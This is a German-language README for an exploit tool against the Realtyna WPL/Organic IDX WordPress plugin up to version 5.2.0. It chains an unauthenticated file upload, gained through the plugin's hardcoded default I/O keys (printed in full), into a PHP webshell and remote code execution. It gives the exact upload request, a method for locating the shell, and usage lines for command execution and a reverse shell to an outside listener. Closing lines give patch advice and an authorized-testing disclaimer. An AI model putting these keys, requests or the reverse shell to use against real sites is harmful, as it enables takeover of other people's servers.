
Exploit für nicht authentifizierten, beliebigen Datei-Upload für das Realtyna WPL/Organic IDX WordPress-Plugin; verkettet PHP-Webshell-Upload mit RCE, mit Befehlsausführungs- und Reverse-Shell-Modi.
Nicht authentifizierter beliebiger Datei-Upload, der in dem Realtyna WPL / Organic IDX
WordPress-Plugin (real-estate-listing-realtyna-wpl ≤ 5.2.0) zu RCE führt.
Das Plugin registriert einen "I/O-Dienst" am öffentlichen WordPress-init-Hook, erreichbar
ohne Authentifizierung an der Site-Wurzel über ?wplview=io&wplformat=io. Das einzige Hindernis ist ein Paar
statischer, fest codierter Standardschlüssel, die in den Migrationen des Plugins ausgeliefert werden
(auf jeder Installation identisch), wobei io_status standardmäßig aktiviert ist:
public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
private_key = Eft76bdh0o2uyhJkbG3T
Der Befehl set_property (libraries/io/mobile_application/set_property.php → wpl_file::upload)
speichert die hochgeladene Datei file[] mit move_uploaded_file und ohne Überprüfung von Erweiterung/MIME,
sodass eine .php-Webshell abgelegt und als Web-Benutzer ausgeführt werden kann.
real-estate-listing-realtyna-wpl ≤ 5.2.0www-data)Nur Python-3-Standardbibliothek — keine Abhängigkeiten.
# run a command and print output
python3 exploit.py http://target/ -c id
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://target/ --shell 10.10.14.5:4444
POST /?wplview=io&wplformat=io&public_key=…&private_key=…&cmd=set_property&commands_directory=mobile_application&user_id=1
mit einer Multipart-Datei file[] namens image_<name>.php. Das Präfix image_ wird entfernt,
sodass die Datei als <name>.php gespeichert wird.wp-content/uploads/WPL/<pid>/<name>.php, wobei <pid>
die ID der durch die Anfrage erstellten Property ist (die Antwort gibt sie nicht zurück). Das Tool
enumeriert kleine Property-IDs, um die Shell zu finden.…/<name>.php?c=<cmd> auf.Eine WordPress-Seite mit aktivem Plugin real-estate-listing-realtyna-wpl ≤ 5.2.0. Der Endpunkt
antwortet unter GET /?wplview=io&wplformat=io (dem I/O-Dienst des Plugins).
Aktualisiere das Plugin auf ≥ 5.3.0, validiere Upload-Erweiterungen/MIME, führe niemals PHP aus
wp-content/uploads aus und rotiere die statischen Standard-I/O-Schlüssel des Plugins.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche Testgenehmigung hast.